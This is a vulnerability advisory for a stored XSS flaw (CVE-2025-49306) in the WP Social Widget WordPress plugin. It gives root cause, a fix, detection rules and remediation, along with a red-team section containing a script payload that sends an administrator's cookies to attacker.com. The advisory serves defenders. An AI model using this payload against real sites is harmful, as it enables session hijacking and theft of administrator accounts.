CVE-2025-49306

Executive Summary

CVE-2025-49306 is a Stored Cross-Site Scripting (XSS) vulnerability in the Catchsquare WP Social Widget WordPress plugin, affecting versions through 2.3. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the plugin’s social media link fields. When an administrator or other user views the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the repository or via the WordPress admin panel are affected. Since the plugin is not managed via NPM, PyPI, Go, or Ruby, no package manager-specific supply chain risks apply. However, the lack of a patch increases the risk of supply chain compromise if the plugin is bundled in themes or custom distributions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor or higher)
• User Interaction: Required (Admin must view the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authenticated access and user interaction, but the stored nature of the XSS makes it persistent and dangerous for site administrators.

Deep Dive & Mechanics

The vulnerability exists in the wp-social-widget plugin’s social media link input fields. The plugin fails to properly sanitize and escape user-supplied data before storing it in the WordPress database. When the widget is rendered on a page, the unsanitized input is output directly into the HTML, allowing an attacker to inject arbitrary JavaScript.

Attack Flow:

1. An attacker with contributor-level access navigates to the plugin settings page (e.g., /wp-admin/widgets.php).
2. In the social media URL fields (e.g., Facebook, Twitter, Instagram), the attacker inputs a malicious payload such as:

   "><script>alert('XSS')</script>
   

3. The plugin stores this payload in the database without proper sanitization.
4. When an administrator visits a page displaying the widget, the injected script executes in their browser.

Root Cause: The plugin uses echo or the_field() functions without applying WordPress’s built-in escaping functions like esc_url() or esc_html().

Vulnerable vs. Patched Code

Vulnerable Code (wp-social-widget.php, line ~45):

echo '<a href="' . $social_link . '">' . $social_name . '</a>';

Patched Code (hypothetical):

echo '<a href="' . esc_url($social_link) . '">' . esc_html($social_name) . '</a>';

The vulnerable code directly outputs the user-supplied $social_link without escaping. The patched version uses esc_url() to neutralize malicious JavaScript and esc_html() to prevent HTML injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with WP Social Widget <= 2.3 installed and activated.
• Attacker account with Contributor role or higher.

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to Appearance > Widgets.
3. Add the WP Social Widget to a sidebar.
4. In the Facebook URL field, enter:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the widget.
6. Wait for an administrator to visit the page, or send a crafted link to the admin.

Expected Result: The admin’s cookies are exfiltrated to the attacker’s server.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual widget configuration changes by non-admin users.
• Look for suspicious strings in the wp_options table under the widget_wp-social-widget option.

Hardening:

• Apply a Web Application Firewall (WAF) rule to block XSS payloads in widget fields.
• Restrict widget editing capabilities to administrators only.
• Use a security plugin like Wordfence to detect and block XSS attempts.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/wp-social-widget/wp-social-widget.php
• Database Entry: wp_options table, widget_wp-social-widget option containing unescaped HTML/JavaScript.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin interface.
• Logs: WordPress debug log entries showing wp_redirect or wp_die calls related to widget saving.

Detection Engineering

YARA Rule

rule CVE_2025_49306_WP_Social_Widget_XSS {
    meta:
        description = "Detects malicious payloads in WP Social Widget plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49306"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $unescaped_output = /echo\s+['\"].*\$social_link/
    condition:
        $unescaped_output and #xss_payload > 0
}

Sigma Rule

title: CVE-2025-49306 WP Social Widget Stored XSS
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts in WP Social Widget plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: /wp-admin/admin-ajax.php
        http.body|contains: 'action=save-widget'
        http.body|contains: 'id_base=wp-social-widget'
    condition: selection
falsepositives:
    - Legitimate use of special characters in social media URLs
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49306 WP Social Widget Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=save-widget"; http_client_body; content:"id_base=wp-social-widget"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove any malicious widgets from all sidebars.
3. Change all admin passwords and invalidate existing sessions.

Long-Term Fix:

• The vendor must release a patched version that properly escapes output using esc_url() and esc_html().
• Until then, apply a virtual patch via WAF rules to block XSS payloads in widget fields.

Workaround:

• Restrict widget editing to administrators only using a role management plugin.
• Use a security plugin to monitor for suspicious widget changes.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert